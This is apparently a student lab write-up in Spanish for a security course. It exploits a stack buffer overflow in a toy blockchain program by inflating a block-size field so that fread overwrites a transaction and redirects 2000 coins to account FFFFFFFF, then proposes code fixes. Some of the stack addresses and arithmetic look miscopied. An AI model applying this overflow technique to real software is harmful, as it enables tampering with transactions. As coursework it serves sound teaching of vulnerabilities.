Práctica 1
Vulnerabilidades de Seguridad - Primavera 2019

Ejercicio 2 (se entrega vía registro de evaluación continua)

Apartado 1

Comenzad haciendo algunas pruebas de ejecución del software usando los bloques Block-ID10 y Block-ID11. Posteriormente utilizando el Block-ID11 mostrad dos capturas de pantalla:

1. La primera del fichero original (Block-ID11) indicando los bytes que guardan la cantidad *(coins)* de la transacción pendiente de añadir al bloque.
2. La segunda del fichero resultado (Block-ID11.out) indicando los bytes donde se ha almacenado la cantidad *(coins)* pendiente dentro del bloque.

NOTA:-> Para las capturas, utilizar alguna herramienta que muestre el contenido del fichero en hexadecimal. Tienen que quedar claramente indicados los bytes donde se almacenan las cantidades.

1. La primera captura del fichero original (Block-ID11):

```
 - offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00000000  4143 4d45 0000 0000 4133 3831 3233 3435  ACME....A3812345
0x00000010  4243 3031 3132 4444 8c00 0000 0100 0000  BC0112DD........
0x00000020  3132 4242 4137 3738 3233 3435 4330 4430  12BBA7782345C0D0
0x00000030  d007 0000 0000 0000 0000 0000 0000 0000  ................
0x00000040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00000050  0000 0000 0000 0000 0000 0000 4443 4442  ............DCDB
0x00000060  3737 3837 4343 4141 3132 3231 c104 0000  7787CCAA1221....
0x00000070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00000080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00000090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x000000a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x000000b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
```

Se han transferido 2000 *coins*, que si lo convertimos a hexadecimal son 0x7d0, y lo podemos encontrar en los bytes 0x30, 0x31, 0x32, 0x33 (o en decimal 48,49,50 i 51). Son 4 bytes, ya que en el código *amount* eestá definido como int32_t.

2. La segunda captura, del fichero de salida (Block-ID11.out):

```
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00000000  4143 4d45 0000 0000 4133 3831 3233 3435  ACME....A3812345
0x00000010  4243 3031 3132 4444 8c00 0000 0200 0000  BC0112DD........
0x00000020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00000030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00000040  0000 0000 0000 0000 4443 4442 3737 3837  ........DCDB7787
0x00000050  4343 4141 3132 3231 c104 0000 3132 4242  CCAA1221....12BB
0x00000060  4137 3738 3233 3435 4330 4430 d007 0000  A7782345C0D0....
0x00000070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00000080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00000090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x000000a0  0000 0000 0000 0000 0000 0000            ................
```

Ya tenemos añadida la transacción al bloque y los *coins* estan en los bytes 0x6c, 0x6d, 0x6e, 0x6f (o en decimal 108,109,110 i 111).

Apartado 2

Analizamos el código del programa y vemos que parece haber un *overflow*. Para entenderlo mejor decidís hacer una tabla como la siguiente (rellenarla correctamente). En la tabla tienen que aparecer las variables siguientes:

Platform is i686_linux						
variable				**memory region**	**memory address**	
type	**name**	**line**	**Size (in bytes)**	**(Stack / Heap / Global / Text)**	**absolute**	**relative (to the first row)**
char*	inputFile	25	32	Stack	0xffffcf94	0
char*	outputFile	26	32	Stack	0xffffcf74	-0x20
Struct	header	38	32	Stack	0xffffcf54	-0x40
Struct	transaction	45	20	Stack	0xffffcf40	-0x54
Struct	block	54	140	Stack	0xfffceb4	-0xe0

Notas:

1- Podéis usar gdb (o cualquier otro depurador) para obtener esta información. Indicad vuestra elección e la tabla.

2- Recordad indicar la plataforma para la que habéis hecho esta tabla.

3- Las direcciones relativas son el resultado de restar la dirección absoluta de la fila actual y la primera fila. E.g., 0x7fffffffe066-0x7fffffffe070=-0x0A.

4- Ordenad las filas de la tabla por la columna «line» de menor a mayor.

Apartado 3

Con la información que ya tenéis de las pruebas realizadas y la información de la tabla anterior, os dais cuenta de que un atacante que intercepte un bloque puede modificarlo para cambiar la dirección de recepción de la transferencia a otra bajo su control. Para demostrarlo utilizar la dirección FFFFFFFF.

Coged el fichero Block-ID11 y haced una copia que nos permita realizad algunas pruebas en apartados posteriores (*ejemplo: cp block-id11 block-id12*).

a) Una vez realizada la copia, identificad la transacción legítima que se quiere realizar:

account-sender	12BBA778
account_receiver	2345C0D0
amount	2000 (0x7d0)

b) Y completad la tabla con la transacción que queremos esconder:

account-sender	12BBA778
account_receiver	FFFFFFFF
amount	2000 (0x7d0)

Apartado 4

Con todos los datos que ya hemos recopilado y que tenemos recogidos en los apartados 2 y 3, vamos a llevar a cabo el ataque.

a) Calculad la distancia entre variables necesaria para poder explotar el *overflow*. Justificad los cálculos que habéis realizado.

Tenemos que sobreescribir la variable *transaction* amb la variable *block*. Primero calculamos la distancia entre las dos (según la tabla del apartado 2):

block – *transaction* = 0xfffceb4 – 0xffffcf40 = 0x8c -> 140 bytes.

(NOTA:-> Dependiendo de la versión del compilador y de como alienea las variables en memoria puede añadir algunos bytes de padding).

Después necesitamos sobreescribir el campo transacción, que tiene una medida de 20 bytes:

Total: 140 + 20 = 160 bytes hem de sobreescriure.

b) Con los cálculos que hebéis realizado, modificad el fichero de entrada de tal forma que se pueda reemplazar la cuenta *(account_receiver)* de la transacción. Explicad bien todos los pasos que habéis dado y mostrad capturas de pantalla donde se pueda comprobar el resultado final del fichero.

Con los cálculos realizados en el apartado a), tenemos que:

Distancia entre variables -> 140 bytes.

Además, sabemos que:

Tamaño de una nueva transacción -> 20 bytes
Tamaño del fichero de entrada -> 192 bytes

Primero, tenemos que crear un nuevo fichero de 192+20=212 bytes:

```
-rw-r--r--. 1 root root 212 feb 27 11:07 block-ID12
```

Después tenemos que poner la transacción del apartado3b) en estos bytes:

```
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00000000  4143 4d45 0000 0000 4133 3831 3233 3435  ACME....A3812345
0x00000010  4243 3031 3132 4444 8c00 0000 0100 0000  BC0112DD........
0x00000020  3132 4242 4137 3738 3233 3435 4330 4430  12BBA7782345C0D0
0x00000030  d007 0000 0000 0000 0000 0000 0000 0000  ................
0x00000040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00000050  0000 0000 0000 0000 0000 0000 4443 4442  ............DCDB
0x00000060  3737 3837 4343 4141 3132 3231 c104 0000  7787CCAA1221....
0x00000070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00000080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00000090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x000000a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x000000b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x000000c0  3132 4242 4137 3738 4646 4646 4646 4646  12BBA778FFFFFFFF
0x000000d0  d007 0000 ffff ffff ffff ffff ffff ffff  ................
```

Posteriormente modificamos la variable que controla el *block size* y que podemos ver en la segunda línea del fichero (0x8c -> 140 bytes):

```
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00000000  4143 4d45 0000 0000 4133 3831 3233 3435  ACME....A3812345
0x00000010  4243 3031 3132 4444 8c00 0000 0100 0000  BC0112DD........
```

Esta variable se lee en el siguiente fread() -> header.blocksize:

```
/* Read block and add the new transaction to transactions array */
fread(&block, header.blocksize, 1, fin)
```

Cambiamos este valor por el calculado anteriormente, que nos permita que nos permite acceder a la nueva transacción que hemos añadido en el fichero de entrada. En este caso::

140 + 20 = 160 -> **0xa0**

```
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00000000  4143 4d45 0000 0000 4133 3831 3233 3435  ACME....A3812345
0x00000010  4243 3031 3132 4444 a000 0000 0100 0000  BC0112DD........
0x00000020  3132 4242 4137 3738 3233 3435 4330 4430  12BBA7782345C0D0
0x00000030  d007 0000 0000 0000 0000 0000 0000 0000  ................
0x00000040  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00000050  0000 0000 0000 0000 0000 0000 4443 4442  ............DCDB
0x00000060  3737 3837 4343 4141 3132 3231 c104 0000  7787CCAA1221....
0x00000070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00000080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00000090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x000000a0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x000000b0  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x000000c0  3132 4242 4137 3738 4646 4646 4646 4646  12BBA778FFFFFFFF
0x000000d0  d007 0000 ffff ffff ffff ffff ffff ffff  ................
```

Ahora si ejecutamos:

```
      ___       _______   __    __       _______
     /   |     / _____/ /  |  /  |     / _____/
    / /| |    / /       /   | /   |    / /____
   / /_| |   / /      / /| |/ /| |   / _____/
  / ___  |  / /____  / / |___/ | |  / /____
 /_/   |_| /______/ /_/        |_| /______/

                                  [BLOCKCHAIN]
```

[*] The account 12BBA778 has send 2000 coins to account 2345C0D0

Comprobamos el fichero de salida:

```
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00000000  4143 4d45 0000 0000 4133 3831 3233 3435  ACME....A3812345
0x00000010  4243 3031 3132 4444 a000 0000 0200 0000  BC0112DD........
0x00000020  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00000030  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00000040  0000 0000 0000 0000 4443 4442 3737 3837  ........DCDB7787
0x00000050  4343 4141 3132 3231 c104 0000 3132 4242  CCAA1221....12BB
0x00000060  4137 3738 4646 4646 4646 4646 d007 0000  A778FFFFFFFF....
0x00000070  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00000080  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00000090  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x000000a0  0000 0000 0000 0000 0000 0000 ffff ffff  ................
```

NOTA:-> Hasta aquí es lo que se pedía en la resolución de la práctica. Una posible mejora del ataque sería ampliar el fichero de entrada y sobreescribir más posiciones en memoria para que la sustitución de los bytes que hemos realizado (a0 por 8c) volviera al estado original.

c) Nos damos cuenta que el usuario sigue viendo el mensaje de la transferencia como si no hubiera pasado nada. Como analista de seguridad, qué pequeña modificación del código aconsejarías para reflejar la salida de la consola que se ha enviado dinero a otra cuenta?

Hemos visto que la vulnerabilidad se produce porqué no se controla bien la lectura con fread(). Una posible solución es cambiar esta lectura:

```
fread(&block, sizeof(struct block), 1, fin)
```

Otra posible solución consiste simplemente en cambiar la posición de está líea:

```
/* Print some info to user */
printf("[*] The account %.8s has send %d coins to account %.8s\n",
transaction.account_sender, transaction.amount, transaction.account_receiver);
```

Tiene que ir después de añadir la transacción:

```
fread(&block, header.blocksize, 1, fin);
block.block_transactions[header.block_transaction_index] = transaction;
```